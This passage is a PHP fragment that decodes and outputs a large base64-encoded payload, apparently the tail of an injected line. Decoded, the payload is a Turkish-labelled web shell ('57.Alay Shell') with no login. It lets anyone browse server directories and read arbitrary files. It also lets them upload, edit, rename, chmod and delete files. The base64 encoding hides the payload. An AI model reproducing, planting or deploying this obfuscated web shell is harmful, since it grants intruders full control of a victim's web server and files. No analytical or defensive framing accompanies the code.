".base64_decode(" PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKICAgIH0KfQplY2hvICc8IURPQ1RZUEUgSFRNTD4KPEhUTUw+CjxIRUFEPgo8aW1nIGJvcmRlcj0iMCIgc3R5bGU9ImxlZnQ6IDBweDsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IDBweDsiIGFsdD0iVmFUYW4iIGJvcmRlcj0iMCIgICBzcmM9Imh0dHBzOi8vaW1nLndlYm1lLmNvbS9waWMvaC9odG1sa29kbGFyaTM0L3NvbF9iYXlyYWsyLnBuZyIgLz48Y2VudGVyPgo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8dGl0bGU+NTcuQWxheSBCaXJpbSBCYcWfa2FubMSxxJ/EsS1BaG1lZFLEsXphPC90aXRsZT4KPHN0eWxlPgpib2R5ewogICAgZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOwogICAgYmFja2dyb3VuZC1jb2xvcjogIzAzODE4NDsKICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICMzMzczNzE7Cn0KI2NvbnRlbnQgdHI6aG92ZXJ7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzM3MzcxOwogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Cn0KI2NvbnRlbnQgLmZpcnN0ewogICAgYmFja2dyb3VuZC1jb2xvcjogIzMzNzM3MTsKfQojY29udGVudCAuZmlyc3Q6aG92ZXJ7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZWQ7CiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjZmZmZmZmOwp9CnRhYmxlewogICAgYm9yZGVyOiAxcHggI2ZmZmZmZiBkb3R0ZWQ7Cn0KSDF7CiAgICBmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7Cn0KYXsKICAgIGNvbG9yOiAjMDAwOwogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXJ7CiAgICBjb2xvcjogI2ZmZjsKICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjMDAwMDAwOwp9CmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsKICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7CiAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsKICAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7CiAgICBib3JkZXItcmFkaXVzOjVweDsKfQo8L3N0eWxlPgo8L0hFQUQ+CjxCT0RZPgo8SDE+PGNlbnRlcj41Ny5BbGF5IFNoZWxsPC9jZW50ZXI+PC9IMT4KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4KPHRyPjx0ZD5OZXJkZXlpbTogJzsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOyAgIAp9ZWxzZXsKICAgICRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CiAgICBpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOwogICAgICAgIGNvbnRpbnVlOwogICAgfQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0nOwogICAgZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICBpZigkaSAhPSAkaWQpIGVjaG8gIi8iOwogICAgfQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKfQplY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nOwppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsKICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+QkFTQVJJTEk8L2ZvbnQ+PGJyIC8+JzsKICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkJBU0FSSVNJWjwvZm9udD48YnIgLz4nOwogICAgfQp9CmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+CkRPU1lBIFlVS0xFIDogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJZVUtMRSIgLz4KPC9mb3JtPgo8L3RkPjwvdHI+JzsKaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewogICAgZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOwogICAgZWNobyAkX0dFVFsnZmlsZXNyYyddOwogICAgZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgIGVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7Cn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOwogICAgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpewogICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkX1BPU1RbJ3Blcm0nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5UQU1BTURJUjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9MTUFESTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KICAgICAgICA8L2Zvcm0+JzsKICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7CiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5UQU1BTURJUjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9MTUFESTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0icmVuYW1lIj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+CiAgICAgICAgPC9mb3JtPic7CiAgICB9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5UQU1BTURJUjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9MTUFESTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgIH0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgICAgIDx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90ZXh0YXJlYT48YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+CiAgICAgICAgPC9mb3JtPic7CiAgICB9CiAgICBlY2hvICc8L2NlbnRlcj4nOwp9ZWxzZXsKICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZGlyJyl7CiAgICAgICAgICAgIGlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlRBTUFNRElSPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+T0xNQURJPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdmaWxlJyl7CiAgICAgICAgICAgIGlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5UQU1BTURJUjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9MTUFESTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+JzsKICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7CiAgICBlY2hvICc8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRyIGNsYXNzPSJmaXJzdCI+CiAgICAgICAgPHRkPjxjZW50ZXI+QUQ8L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPkJPWVVUPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5JWklOTEVSPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5BWUFSTEFSPC9jZW50ZXI+PC90ZD4KICAgIDwvdHI+JzsKCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgIGlmKCFpc19kaXIoIiRwYXRoLyRkaXIiKSB8fCAkZGlyID09ICcuJyB8fCAkZGlyID09ICcuLicpIGNvbnRpbnVlOwogICAgICAgIGVjaG8gIjx0cj4KICAgICAgICA8dGQ+PGEgaHJlZj1cIj9wYXRoPSRwYXRoLyRkaXJcIj4kZGlyPC9hPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+LS08L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPiI7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7CiAgICAgICAgCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CiAgICAgICAgPHNlbGVjdCBuYW1lPVwib3B0XCI+CgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5TSUw8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5ESVpJTjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5BREkgREVHSVNUSVI8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGRpclwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICA8L3RyPiI7CiAgICB9CiAgICBlY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7CiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKICAgICAgICBpZighaXNfZmlsZSgiJHBhdGgvJGZpbGUiKSkgY29udGludWU7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7CiAgICAgICAgaWYoJHNpemUgPj0gMTAyNCl7CiAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJHNpemUgPSAkc2l6ZS4nIEtCJzsKICAgICAgICB9CgogICAgICAgIGVjaG8gIjx0cj4KICAgICAgICA8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+IjsKICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgZWNobyBwZXJtcygiJHBhdGgvJGZpbGUiKTsKICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgIGVjaG8gIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPgogICAgICAgIDxzZWxlY3QgbmFtZT1cIm9wdFwiPgoJICAgIDxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+U0lMPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+RElaSU48L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+QURJIERFR0lTVElSPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImVkaXRcIj5EVVpFTkxFPC9vcHRpb24+CiAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRmaWxlXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+CiAgICAgICAgPC9mb3JtPjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPC90cj4iOwogICAgfQogICAgZWNobyAnPC90YWJsZT4KICAgIDwvZGl2Pic7Cn0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBjb2xvcj0iYmxhY2siPlNFU1NJWkNFIE5PQkVUVEVZSVo8L2ZvbnQ+PC9jZW50ZXI+CjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHBzOi8vaW1hZ2UuaWJiLmNvL2o2QXpzZC9sb2dvLnBuZyIgd2lkdGg9IjI1MCIgaGVpZ2h0PSIxMDAiPjxicj4KPGNlbnRlcj48Zm9udCBjb2xvcj0iYmxhY2siPktJTEnDhyBBUlNMQU4gPGJyPiBIw7xzZXlpbk51cmV0dGluIC0gS2FydGFsQmV5aSAtIFRIQUNLQVkgLSBCZXJ0dWdIYW4gLSBIYXlyaUJleSAtIFRpbXVySGFuIC0gT2d1eiBLYWdhbjwvZm9udD48L2NlbnRlcj4KPC9CT0RZPgo8L0hUTUw+JzsKZnVuY3Rpb24gcGVybXMoJGZpbGUpewogICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgIC8vIFNvY2tldAogICAgJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKICAgIC8vIFN5bWJvbGljIExpbmsKICAgICRpbmZvID0gJ2wnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAvLyBSZWd1bGFyCiAgICAkaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewogICAgLy8gQmxvY2sgc3BlY2lhbAogICAgJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKICAgIC8vIERpcmVjdG9yeQogICAgJGluZm8gPSAnZCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAkaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewogICAgLy8gRklGTyBwaXBlCiAgICAkaW5mbyA9ICdwJzsKfSBlbHNlIHsKICAgIC8vIFVua25vd24KICAgICRpbmZvID0gJ3UnOwp9CgovLyBPd25lcgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgcmV0dXJuICRpbmZvOwp9Cj8+Cg== ")); ?>